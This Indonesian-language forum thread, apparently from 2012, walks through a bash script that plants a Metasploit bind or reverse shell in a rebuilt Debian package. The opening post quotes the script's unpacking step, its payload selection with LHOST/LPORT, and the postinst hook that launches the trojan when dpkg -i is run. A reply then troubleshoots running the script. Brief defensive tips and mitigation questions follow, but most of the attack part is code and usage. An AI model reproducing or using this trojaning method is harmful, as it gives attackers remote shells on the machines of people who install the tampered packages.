Sebuah file paket debian di infeksi backdoor ?
#1
Kemungkinan adanya penyusupan backdoor dengan berbagai metode ternyata memungkinkan untuk file debian. Perlu hati-hati karena penyusupan dengan backdoor yang memiliki berbagai tipe bahkan membuka remote shell aktif linux pada linux server dengan kompetibel terbaru sekalipun... Ane jalan-jalan ke google ketemu script sh ( bash ) sederhana yang mampu membuat backdoor sekaligus mengeskusi listener multi handler dari metasploit.

Jika kita melihat

POC :

1. Jalankan script dalam bentuk sh ( chmod +x atau chmod 777 )
2. Isikan opsi2nya sangat mudah bro :d

3. Proses backdoor akan terbentuk dengan sendirinya ...

4. Meterpreter akan terbuka dengan sendirinya ketika si korban melakukan penginstallan paket debian = [ dpkg -i ]

Ane ujicoba dengan 2 server ( ip publik ) - jenis operating system linux ubuntu server x32 12.04


Analisa script :

Unpack proses ... dpkg -x [ nama file ] [output]
ini digunakan agar backdoor dapat di masukan tanpa terlihat file control di copy untuk membuat paket baru.

Code:
dpkg -x $tmpdir/$package* $workdir
apt-cache show $package > $workdir/DEBIAN/control
cat $workdir/DEBIAN/control | sed '/^Original-Maintainer/d' | sed '/^SHA/d' > $workdir/DEBIAN/control2
mv $workdir/DEBIAN/control2 $workdir/DEBIAN/control

Pembuatan backdoor dengan MSPAYLOAD .. hmmm payload,ip(LHOST) dan port(LPORT) .. kyknya ini pembuatan standart backdoor Big Grin

Code:
if [ "$choice" -eq 1 ]; then
        payload="linux/x86/shell/bind_tcp"
                echo "Enter IP:"
                read rhostIP
                echo "Enter port:"
                read bindport
                options="RHOST=$rhostIP LPORT=$bindport"
else
        if [ "$choice" -eq 2 ]; then
                payload="linux/x86/shell/reverse_tcp"
                echo "Enter IP:"
                read lhostIP
                echo "Enter port:"
                read revport
                options="LHOST=$lhostIP LPORT=$revport"
        fi
fi

Post-install (postints) script di bangun dari sini

Code:
echo "#!/bin/sh" > $workdir/DEBIAN/postinst
echo "" >> $workdir/DEBIAN/postinst
echo "" >> $workdir/DEBIAN/postinst
echo "sudo chmod 2755 $binary$trojan && $binary$trojan & $binary &" >> $workdir/DEBIAN/postinst

Untuk itu ane lampirkan codingan dan ini sumber asli ... tested sih work 100% .. mungkin nnti kita update untuk cara menjaga atau mengecek debian file maintainer

Kesimpulan :

1. Jangan pernah mengambil paket file dari suatu repo yang tidak di percaya dan tidak jelas
2. Periksalah terlebih dahulu kemana dia menginstall paket debian tersebut ( dpkg -x )
3. Pasang antivirus dan berbagai software malware analisys lainnya.

Contoh debian paket yang di pakai pada percobaan kli ini saya tambahkan sebagai attachment .. mari kita posting hasil malware analisanya disini

original post & code / author

http://pastebin.com/f769fc3de

(08-24-2012, 05:04 AM)iKONspirasi Wrote: btw untuk yang masih mengalami error dalam menjalankan skrip ini coba dilihat dulu di source filenya ada folder:
msfdir="/opt/metasploit3/msf3" ga?
diganti dulu dengan folder metasploit yang terinstall di OS masing2
karena ini exploit tahun 2010 jadi ane rasa metasploit masih versi 3 Smile

dan bagi yang mengalami masalah seperti ini: (skrip ane simpan ke file deb-exploit.sh)

Code:
root@ikons:~/Pentest$ ./deb-exploit.sh
bash: ./deb-exploit.sh: /bin/sh^M: bad interpreter: No such file or directory

atau
Code:
root@iKONs:~/Pentest# sh deb-exploit.sh
: not found.sh: 2: deb-exploit.sh:
: not found.sh: 6: deb-exploit.sh:
: not found.sh: 9: deb-exploit.sh:
: not found.sh: 11: deb-exploit.sh:
deb-exploit.sh: 143: deb-exploit.sh: Syntax error: end of file unexpected (expecting "then")

ternyata masalahnya adalah di file tersebut yang ternyata disimpan dalam bentuk format DOS/MAC (ane ga copas dari link pastebin tapi klik Download)

untuk mengatasinya tinggal install dos2unix (apt-get install dos2unix) kemudian:
Code:
root@iKONs:~/Pentest# dos2unix -o deb-exploit.sh
dos2unix: converting file deb-exploit.sh to Unix format ...

setelah itu jalankan filenya:
Code:
root@iKONs:~/Pentest# sh deb-exploit.sh
deb-exploit.sh: 12: deb-exploit.sh: [[: not found

#####################################################################
Script to generate a Debian package trojan using a Metasploit payload
#####################################################################

Please enter the name of the APT package you wish to trojan:
Use apt-cache search <package> for ideas :)

VOILA Big Grin Big Grin Big Grin


Original post : http://zico-ekel.com/sebuah-file-paket-d...-backdoor/

FOLLOW @DutaLinux
for more question and sharing about security and Opensource only

#2
Keren om Smile

dari hasilnya bisa langsung full access gitu , alias dapat room Smile

yang keren nya lagi , di forum langsung bisa upload file skarang , hehehe

Confused
pengguna baru Imoet

#3
ini berfungsi di kernel tertentu ya om?

#4
waduh gmn dong om ? ada cara antisipasi nya gk yah om ?

#5
(08-20-2012, 11:10 PM)permana Wrote: Keren om Smile

dari hasilnya bisa langsung full access gitu , alias dapat room Smile

yang keren nya lagi , di forum langsung bisa upload file skarang , hehehe

Confused

kebetulan eskutornya root om , jadi keinget ama rulles 1 secure software di linux " do not running this with UID=0 user Big Grin

(08-20-2012, 11:20 PM)betefive Wrote: ini berfungsi di kernel tertentu ya om?

seluruh jenis kernel menurut ane om .. ane tes di kernel 3

(08-20-2012, 11:21 PM)renzrawk Wrote: waduh gmn dong om ? ada cara antisipasi nya gk yah om ?

nah itu ada artifaknya (attachment .zip ) .. coba kita bahas bareng2
FOLLOW @DutaLinux
for more question and sharing about security and Opensource only

#6
wah seram ini bash, hahaha

ane coba dlu om,
agak menyimpang dkit, mw nanya, kernel yg jarang tembus exploitasi kernel brapa y om?

#7
bingung om,,ane masih cetek di linux X_X

#8
(08-20-2012, 11:38 PM)betefive Wrote: wah seram ini bash, hahaha

ane coba dlu om,
agak menyimpang dkit, mw nanya, kernel yg jarang tembus exploitasi kernel brapa y om?

sebenarnya esploitasi2 langsung sudah gak mempan di kernel2 terbaru .. tapi kernel2 dengan exploitasi backdoor by user trigerring masih vulrn baik di kernel terbaru Smile
FOLLOW @DutaLinux
for more question and sharing about security and Opensource only

#9
Quote:1. Jangan pernah mengambil paket file dari suatu repo yang tidak di percaya dan tidak jelas

Om gimana caranya mendefenisikan sebuah repo yang tidak dipercaya dan tidak jelas?
apakah sebuah repository harus ada standarisasi juga yg harus dipenuhi sehingga nantinya bisa dikatakan dipercaya dan jelas om?
<<< Ayam Betina Dari Timur >>>

#10
kalo pake antivir ngaruh gak yah om ? kaya avast linux gitu om ?






Users browsing this thread: 1 Guest(s)